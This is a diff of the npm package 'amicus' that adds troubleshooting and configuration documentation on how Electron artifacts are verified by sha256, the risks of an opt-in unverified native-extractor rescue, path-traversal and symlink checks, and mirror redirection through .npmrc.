376
|
+
> failure gets a rescue: amicus writes the bytes it hashed into a private
|
|
377
|
+
> directory inside the Electron package and hands **that path** to a native
|
|
378
|
+
> extractor (`tar` / `Expand-Archive` on Windows, `ditto` / `unzip` on macOS,
|
|
379
|
+
> `unzip` / `tar` on Linux). **Between amicus writing that file and the child
|
|
380
|
+
> process opening it, anything running as your user can replace it, and whatever
|
|
381
|
+
> the child extracts is promoted into `dist/` without being hashed again.** That
|
|
382
|
+
> is not a safe operation; it is the trade this variable buys, and amicus prints
|
|
383
|
+
> the whole of it on stderr before it spawns anything. A rescued install is always
|
|
384
|
+
> reported `unverified`, even when the artifact's own sha256 matched, because what
|
|
385
|
+
> reached `dist/` is no longer what amicus hashed.
|
|
386
|
+
>
|
|
387
|
+
> The rescue is deliberately narrow. It fires **only** when amicus's extractor
|
|
388
|
+
> positively identified the archive as unreadable — the same verdict that lets it
|
|
389
|
+
> discard a corrupt cached artifact, which is why that discard now waits: with
|
|
390
|
+
> this variable unset, amicus prints the offer of this rescue and **keeps** the
|
|
391
|
+
> cached archive, and only discards it once the rescue has run and every native
|
|
392
|
+
> extractor has failed on it too. A **path-traversal refusal** (`REFUSED
|
|
393
|
+
> (unsafe archive)`) is terminal and this variable does not apply to it, a
|
|
394
|
+
> **stall** is not a rescue trigger (the timeout exists to stop work, not to hand
|
|
395
|
+
> it to a child process), a **digest mismatch** is not one either (the bytes are
|
|
396
|
+
> known wrong, so there is nothing to rescue — even though this same variable let
|
|
397
|
+
> them reach the extractor), and neither is a destination failure such as a full
|
|
398
|
+
> disk. With the variable unset, an unreadable archive fails with a message that
|
|
399
|
+
> names this variable and says what it would do, so you do not have to read the
|
|
400
|
+
> source to find it.
|
|
401
|
+
>
|
|
402
|
+
> **What "path-traversal refusals are excluded" does and does not buy you.** That
|
|
403
|
+
> exclusion keys on the refusal amicus's extractor *formed*, and an archive can
|
|
404
|
+
> stop it forming one: yauzl checks an entry's size before its name, so one bad
|
|
405
|
+
> entry early in the archive ends the walk before any later name is looked at.
|
|
406
|
+
> Measured — the same three-entry archive, one flag bit apart — that moves it out
|
|
407
|
+
> of the terminal class and into the rescuable one. Amicus therefore also **reads
|
|
408
|
+
> the archive's central directory and refuses any entry name yauzl would have
|
|
409
|
+
> refused**, before it hands anything to a native extractor. Two residuals
|
|
410
|
+
> survive, and neither is engineered away:
|
|
411
|
+
>
|
|
412
|
+
> - An archive whose **central directory cannot be read at all** — a truncated
|
|
413
|
+
> zip, which is the commonest thing this rescue exists for — declares no names
|
|
414
|
+
> amicus can see, and it still goes to the native extractor. The only remaining
|
|
415
|
+
> check is that extractor's own. `tar` and `Expand-Archive` were measured to
|
|
416
|
+
> refuse a `..` entry themselves (`tar.exe`: `Path contains '..'`, exit 1;
|
|
417
|
+
> `Expand-Archive`: `Can not process invalid archive entry '…'`; nothing written
|
|
418
|
+
> outside the destination in either case). **`ditto` and Info-ZIP `unzip`, the
|
|
419
|
+
> macOS and Linux strategies, are unmeasured.**
|
|
420
|
+
> - A **symlink whose target escapes** the extraction root is a payload, not a
|
|
421
|
+
> name, so no name scan can see it. Amicus's own in-memory extractor refuses
|
|
422
|
+
> those; a native extractor is not asked to.
|
|
423
|
+
>
|
|
424
|
+
> Amicus cleans up only *inside* the directory it asked the extractor to write to,
|
|
425
|
+
> so anything a native tool wrote outside it would survive a failed strategy. This
|
|
426
|
+
> is the concrete shape of "not a safe operation": if the archive came from
|
|
427
|
+
> somewhere you do not trust, do not set this variable — get another copy.
|
|
428
|
+
>
|
|
429
|
+
> **The one thing the strip does not cover, stated precisely** (measured against
|
|
430
|
+
> `@electron/get` 5.0.0, and re-measured by
|
|
431
|
+
> `tests/electron-env-scrub-get5-contract.test.js` on every test run). Every read
|
|
432
|
+
> that decides the artifact's URL happens while those names are stripped — with a
|
|
433
|
+
> mirror planted, the download still goes to the official
|
|
434
|
+
> `github.com/electron/electron/releases/download/…`. But when **no digest is
|
|
435
|
+
> pinned** — either this variable is set, or your Electron package ships no
|
|
436
|
+
> `checksums.json` entry — `@electron/get` fetches a `SHASUMS256.txt` of its own,
|
|
437
|
+
> *after* the names have been restored, and a planted mirror is read again for
|
|
438
|
+
> that one fetch. It cannot change which bytes you get, because the artifact's
|
|
439
|
+
> URL was already settled: it can only serve a checksum file that disagrees with
|
|
440
|
+
> the official artifact, which makes the download **fail**. Unset the planted
|
|
441
|
+
> names (or the variable) if an unpinned download fails checksum validation on a
|
|
442
|
+
> machine whose `.npmrc` names an Electron mirror.
|
|
346
443
|
|
|
347
444
|
---
|
|
348
445
|
|
package/docs/troubleshooting.md
CHANGED
|
@@ -396,6 +396,136 @@ unverified, with `variantUnverified: true` on the leg document.
|
|
|
396
396
|
- **Manual install (most reliable):** on a machine/network with direct access, run any `amicus start` once to populate the Electron cache, then copy the cache directory to the target machine — `%LOCALAPPDATA%\electron\Cache` (Windows), `~/Library/Caches/electron` (macOS), `$XDG_CACHE_HOME/electron` or `~/.cache/electron` (Linux). Amicus reuses a valid cached binary without re-downloading.
|
|
397
397
|
- **Point at your own mirror:** set `ELECTRON_MIRROR` (and `ELECTRON_CUSTOM_DIR` if needed) to an internal Electron mirror that is reachable without a proxy.
|
|
398
398
|
- Headless runs and the full council never need Electron — use `--no-ui` if the GUI is not required.
|
|
399
|
+
- Run `npx -y amicus@latest` from a directory you trust. `npx` inherits the `.npmrc` and `package.json` of whatever directory you are standing in, so an untrusted clone can point package downloads at a host of its choosing.
|
|
400
|
+
|
|
401
|
+
---
|
|
402
|
+
|
|
403
|
+
## Electron Artifact REFUSED (digest mismatch)
|
|
404
|
+
|
|
405
|
+
**Symptom:** provisioning stops and stderr carries a block like:
|
|
406
|
+
|
|
407
|
+
```
|
|
408
|
+
[amicus] Electron artifact REFUSED: electron-v43.1.1-win32-x64.zip
|
|
409
|
+
[amicus] C:\Users\me\AppData\Local\electron\Cache\<sha>\electron-v43.1.1-win32-x64.zip
|
|
410
|
+
[amicus] sha256 3f2a... does not match the published b4e9...
|
|
411
|
+
[amicus] This is what a swapped mirror or a planted cache file looks like. It is ALSO
|
|
412
|
+
[amicus] what a truncated download, a failing disk, or a mirror serving a REBUILT
|
|
413
|
+
[amicus] electron looks like — amicus cannot tell them apart.
|
|
414
|
+
[amicus] If you deliberately run a REBUILT electron, set
|
|
415
|
+
[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 BEFORE provisioning again — ...
|
|
416
|
+
[amicus] The file has been removed: re-copy it from the machine that downloaded it ...
|
|
417
|
+
```
|
|
418
|
+
|
|
419
|
+
The refused bytes are never extracted, so no Electron is installed *from them*. What you see afterwards depends on which path hit the refusal:
|
|
420
|
+
|
|
421
|
+
- **`npm install` (offline by design)** repeats the refusal reason in its notice and stops there — it never downloads.
|
|
422
|
+
- **`amicus doctor --fix` and first GUI use** re-download the artifact with the digest pinned, so a one-off bad file self-heals and is reported as installed. Only when that retry cannot rescue it — no network, or the fresh download fails too — does `doctor` repeat the refusal reason instead of its generic "not provisioned".
|
|
423
|
+
|
|
424
|
+
**Cause:** the bytes do not match the sha256 Electron itself publishes for that artifact (`node_modules/electron/checksums.json`). Amicus reads the artifact **once**, into its own memory, and everything after that — the sha256, the extraction — acts on those bytes and never on the file again: one `open`, one buffer, no second look at any path. So bytes that *contradict* a published digest never become an Electron install, and nothing on disk can be swapped between the hash and the extract, because after the read there is no path in play at all. Both routes work this way, the cached artifact and the fresh download. Where no published digest covers the artifact at all — an Electron package that ships no `checksums.json`, or one whose own `package.json` names a version amicus holds no entry for — there is nothing to contradict, and nothing to pin a download to: those bytes are extracted and the outcome is marked `unverified` rather than refused, because refusing would strand every older Electron in a re-download loop. That mark is not decorative: `npm install` prints a note when it installs one, the GUI says so on the launch that provisions it, and `amicus doctor --fix` names it in its self-heal line. **The mark covers the other unverified case too** — an artifact whose sha256 *contradicts* the published one and was installed anyway because `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` is set. That is the more alarming of the two, and both provision routes mark it: the only verdict that reports a clean repair is one where amicus's own hash matched a digest it anchored. Both routes say so on stderr as they do it — a cached artifact reports `no published sha256 for …, so its bytes could not be verified`, and a download reports `… could not be pinned`, meaning the bytes were checked only against the `SHASUMS256.txt` the mirror itself served. The gate is an integrity check against a digest amicus can obtain, not a promise that every artifact was vouched for.
|
|
425
|
+
|
|
426
|
+
That is what a swapped mirror or a planted cache file looks like. It is **also** what a truncated download, a failing disk, or a corporate mirror serving a *rebuilt* Electron looks like — amicus cannot tell them apart, and says so rather than guessing.
|
|
427
|
+
|
|
428
|
+
**Fix:**
|
|
429
|
+
- **Let it retry.** Online, amicus removes the offending cache entry — only when its filename and its resolved location both say it really is that cache entry — and downloads again with the digest pinned. A one-off truncated download heals itself.
|
|
430
|
+
- **Air-gapped / hand-seeded cache:** the refused file is deleted, so re-copy the cache directory from the machine that downloaded it. A partial copy is the usual cause. If the bytes are deliberately different (below), set the variable *before* you re-copy — the next refusal would remove the fresh copy too.
|
|
431
|
+
- **You deliberately run a rebuilt Electron:** set `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` (see [configuration.md](./configuration.md#gui-and-debug)). It accepts a cached artifact that contradicts the published digest, and drops the digest pin on a download so a rebuilt artifact can be fetched from your own `ELECTRON_MIRROR` at all. Everything it lets through is marked `unverified`, on both routes, and reported everywhere that mark is read. It widens **two** further things, and both are worth knowing before you set it. The first is the [native-extractor rescue](#amicus-could-not-read-this-electron-archive): with this variable set, an archive amicus's own extractor cannot read is written to a path and handed to your OS's extractor — which spends the custody property everything else on this page rests on, that amicus only ever writes bytes it hashed. The second is a residual on the environment strip. Every `npm_config_electron_*` / `npm_package_config_electron_*` name is stripped from the environment while amicus works out **where the artifact comes from**, so the zip still comes from the official `github.com/electron/electron/releases/download/…` even in a repository whose `.npmrc` names a mirror. But an unpinned download is exactly what this variable produces, and an unpinned download makes `@electron/get` fetch a `SHASUMS256.txt` of its own *after* those names are restored — so a repo-planted mirror **is** read again for that one fetch (measured on every test run by `tests/electron-env-scrub-get5-contract.test.js`). It cannot change which bytes you get, because the artifact's URL was already settled; it can only serve a checksum file that disagrees with the official artifact, which makes the download **fail**. If an unpinned download fails checksum validation on a machine whose `.npmrc` names an Electron mirror, unset the planted names. [configuration.md](./configuration.md#gui-and-debug) states the same residual with the measurement behind it.
|
|
432
|
+
- **Otherwise treat it as real.** Check what `ELECTRON_MIRROR` is set to, and whether the directory you ran `npx -y amicus@latest` in is one you trust.
|
|
433
|
+
- Headless runs and the full council work without the GUI in every one of these cases.
|
|
434
|
+
|
|
435
|
+
**A second, rarer refusal:** `Electron artifact REFUSED (unsafe archive)` means entries inside the zip tried to write *outside* the destination directory. That one is terminal by design — amicus does not retry it with a different extractor, does not delete the file (it is the evidence), and `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not apply to it, nor does the native-extractor rescue below. Report the mirror or cache the archive came from.
|
|
436
|
+
|
|
437
|
+
---
|
|
438
|
+
|
|
439
|
+
## amicus could not read this Electron archive
|
|
440
|
+
|
|
441
|
+
**Symptom:** provisioning stops with
|
|
442
|
+
|
|
443
|
+
```
|
|
444
|
+
[amicus] amicus could not read this Electron archive: could not read the archive: ...
|
|
445
|
+
[amicus] There is ONE rescue for that, and it is OFF. With
|
|
446
|
+
[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 set BEFORE provisioning, amicus writes the bytes
|
|
447
|
+
[amicus] it hashed into a private directory inside the electron package and hands that PATH
|
|
448
|
+
[amicus] to a native extractor (tar / Expand-Archive / ditto / unzip) — ...
|
|
449
|
+
```
|
|
450
|
+
|
|
451
|
+
**Cause:** amicus extracts the artifact **in memory**, from the buffer it hashed, so that the bytes it writes are always the bytes it verified. This message means that extractor could not read the archive at all — a truncated or malformed zip, or a shape it does not handle. The bytes are not written anywhere and no Electron is installed from them. A *cached* artifact identified this way is normally discarded, because a positively-unreadable archive is the one failure that says the cached file is worthless — but **not on the run that prints this message**, which leaves it exactly where it is. The rescue below is the reason: an offer that tells you to set a variable and provision again cannot delete the only copy that re-run could act on. Amicus discards the artifact once the rescue has actually been tried and every native extractor has failed on it too.
|
|
452
|
+
|
|
453
|
+
**Fix, in order:**
|
|
454
|
+
|
|
455
|
+
- **Online, do nothing.** Amicus downloads the artifact again with the digest pinned. A truncated download heals itself.
|
|
456
|
+
- **Air-gapped, re-copy first.** Copy the cache directory again from the machine that downloaded it. A partial copy is the usual cause, and a fresh copy costs you nothing.
|
|
457
|
+
- **Only if you cannot obtain another copy: the native-extractor rescue.** Set `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` and provision again. You do not have to have set it in advance: the run that printed the message above left the archive in place precisely so this one has something to work on. Amicus then writes the bytes it hashed to a path inside the Electron package and hands that path to your OS's own extractor (`tar` / `Expand-Archive` / `ditto` / `unzip`) — the same tools that handled the archive before amicus extracted in memory at all. **This is not a safe operation, and it is not described as one.** Between amicus writing the file and the child process opening it, anything running as your user can substitute it, and what that child extracts is promoted into `dist/` without being hashed again. Amicus prints the whole trade on stderr before it spawns anything, and the result is reported `unverified` even when the artifact's own sha256 matched. Unset the variable afterwards: it also downgrades a digest-mismatch refusal to a warning ([configuration.md](./configuration.md#gui-and-debug)).
|
|
458
|
+
- **What the rescue will *not* do,** whatever this variable is set to: retry an archive refused for path traversal (`REFUSED (unsafe archive)` — terminal by design), retry an extraction that *stalled* (the timeout exists to stop work, not to hand it to a child process), rescue bytes that contradict the published digest (they are known wrong), or paper over a full or unwritable disk. Each of those says something different from "this archive cannot be read", and only the last of those is a rescue amicus was given. Before it hands anything over, amicus also reads the archive's *entry names* and refuses any that would write outside the destination — because an archive can break the extractor early enough that its own traversal check never ran. That name check cannot see inside an archive whose central directory is unreadable, and cannot see a symlink target at all; [configuration.md](./configuration.md#gui-and-debug) states both residuals and names which extractors were measured to refuse a `..` entry themselves.
|
|
459
|
+
- Headless runs and the full council work without the GUI throughout.
|
|
460
|
+
|
|
461
|
+
---
|
|
462
|
+
|
|
463
|
+
## Electron artifact NOT extracted (could not be read)
|
|
464
|
+
|
|
465
|
+
**Symptom:** provisioning stops with
|
|
466
|
+
|
|
467
|
+
```
|
|
468
|
+
[amicus] Electron artifact NOT extracted: electron-v43.1.1-win32-x64.zip
|
|
469
|
+
[amicus] C:\Users\me\AppData\Local\electron\Cache\<sha>\electron-v43.1.1-win32-x64.zip
|
|
470
|
+
[amicus] could not be opened or read at all (EACCES: permission denied, open '...')
|
|
471
|
+
[amicus] amicus reads an artifact ONCE, into memory, and hashes and extracts THOSE
|
|
472
|
+
[amicus] bytes. It could not read these, so it has nothing it could vouch for and
|
|
473
|
+
[amicus] has extracted nothing. The file was left exactly where it is.
|
|
474
|
+
```
|
|
475
|
+
|
|
476
|
+
**Cause:** amicus reads an Electron artifact exactly once, through a single file descriptor, into a
|
|
477
|
+
buffer of its own. The sha256 and the extraction both act on that buffer. Anything that can write the
|
|
478
|
+
download cache — which, on your own machine, includes anything running as you — can change the file
|
|
479
|
+
afterwards, and it changes nothing: the bytes amicus hashed are already the bytes it is going to
|
|
480
|
+
write. When the read itself cannot be completed there is nothing to vouch for, so amicus refuses
|
|
481
|
+
rather than extracting something it never saw whole.
|
|
482
|
+
|
|
483
|
+
The third line names which way the read failed:
|
|
484
|
+
|
|
485
|
+
| line | what happened |
|
|
486
|
+
|---|---|
|
|
487
|
+
| `could not be opened or read at all` | permissions, a broken path, a disconnected drive — the fs error is quoted |
|
|
488
|
+
| `is not a regular file` | the cache entry is a directory, a fifo, or a device node |
|
|
489
|
+
| `is empty` | a zero-byte file, usually an interrupted download |
|
|
490
|
+
| `is far larger than any electron artifact` | above the 1 GiB ceiling; a real artifact is ~140–160 MB |
|
|
491
|
+
| `ended early while amicus was reading it` | the file is shorter than it said it was |
|
|
492
|
+
| `changed size while amicus was reading it` | it grew under the read — what an active swap looks like |
|
|
493
|
+
|
|
494
|
+
**Fix:**
|
|
495
|
+
- Delete the cache entry the message names and provision again; amicus re-downloads it.
|
|
496
|
+
- Check the permissions on the cache root (`ELECTRON_CACHE`, or `%LOCALAPPDATA%\electron\Cache` /
|
|
497
|
+
`~/Library/Caches/electron` / `~/.cache/electron`).
|
|
498
|
+
- Headless runs and the full council work without the GUI meanwhile.
|
|
499
|
+
|
|
500
|
+
**Notes:**
|
|
501
|
+
- **Your cached artifact is never moved, copied, or deleted by this refusal.** The download cache is
|
|
502
|
+
exactly as it was, whether the repair succeeded, was refused, or was interrupted — which matters
|
|
503
|
+
most on an air-gapped machine whose cache was hand-seeded. Nothing is written to the temp directory
|
|
504
|
+
either: earlier versions staged a ~170 MB copy there, and no longer do.
|
|
505
|
+
- **A killed run can leave one directory behind, and the next provision sweeps it.** Extraction
|
|
506
|
+
happens in `<electron package>/.amicus-incoming-<hex>/`, which is promoted into `dist/` by a single
|
|
507
|
+
rename at the end and removed afterwards — but that removal is an in-process `finally`, and a kill
|
|
508
|
+
does not run it. Ctrl-C during `npm install`, a lid close or an AV kill can therefore leave one
|
|
509
|
+
behind, as can the sibling `.amicus-retired-<hex>` when an Electron is running off the tree being
|
|
510
|
+
replaced (Windows refuses to delete it). Both live inside the Electron package directory, where no
|
|
511
|
+
OS temp cleaner reaches them, so **amicus sweeps them itself: every provision removes any
|
|
512
|
+
`.amicus-incoming-*` or `.amicus-retired-*` in that directory that is more than a day old.** The
|
|
513
|
+
age rule is deliberate — it cannot take a tree another run may still be writing. What is still
|
|
514
|
+
guaranteed either way: a half-written tree is never what `dist/` contains, and a kill mid-extract
|
|
515
|
+
leaves the previous `dist/` exactly where it was.
|
|
516
|
+
- **A promote never removes a working `dist/` to make room.** If the old tree cannot be renamed out of
|
|
517
|
+
the way (a handle held on it, or an AV filter denying the move) and it holds a usable executable,
|
|
518
|
+
the repair refuses and leaves it untouched rather than deleting it with no way back. If it holds no
|
|
519
|
+
executable it is not an install, and it is replaced. In the one case where the tree was renamed away
|
|
520
|
+
and neither the swap nor the rollback could run, the previous `dist/` is intact at
|
|
521
|
+
`.amicus-retired-<hex>` and the error names it — rename it back to `dist/` to restore it.
|
|
522
|
+
- **A related refusal**, `Refusing to provision electron: … is not a usable artifact name`, means the
|
|
523
|
+
`version` in the Electron package's own `package.json` is not a plausible version string. Amicus
|
|
524
|
+
builds the artifact filename from it and refuses to use anything that is not a plain filename, since
|
|
525
|
+
it would otherwise be joined into a path. Reinstall the `electron` package.
|
|
526
|
+
- **`Cached electron artifact … was NOT extracted (…); it was LEFT IN PLACE`** is the other half of
|
|
527
|
+
the same rule: the archive was fine and the *destination* was not (no space, an unwritable `dist/`,
|
|
528
|
+
a path too long). A cached artifact is only ever evicted when the archive itself is bad.
|
|
399
529
|
|
|
400
530
|
---
|
|
401
531
|
|
package/docs/usage.md
CHANGED
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amicus",
|
|
3
|
-
"version": "4.9.
|
|
3
|
+
"version": "4.9.6",
|
|
4
4
|
"mcpName": "io.github.BourbonDog/amicus",
|
|
5
5
|
"description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
|
|
6
6
|
"keywords": [
|
|
@@ -84,6 +84,7 @@
|
|
|
84
84
|
"opencode-ai": "1.18.15",
|
|
85
85
|
"tiktoken": "^1.0.0",
|
|
86
86
|
"update-notifier": "^7.3.1",
|
|
87
|
+
"yauzl": "^2.10.0",
|
|
87
88
|
"zod": "^3.0.0"
|
|
88
89
|
},
|
|
89
90
|
"optionalDependencies": {
|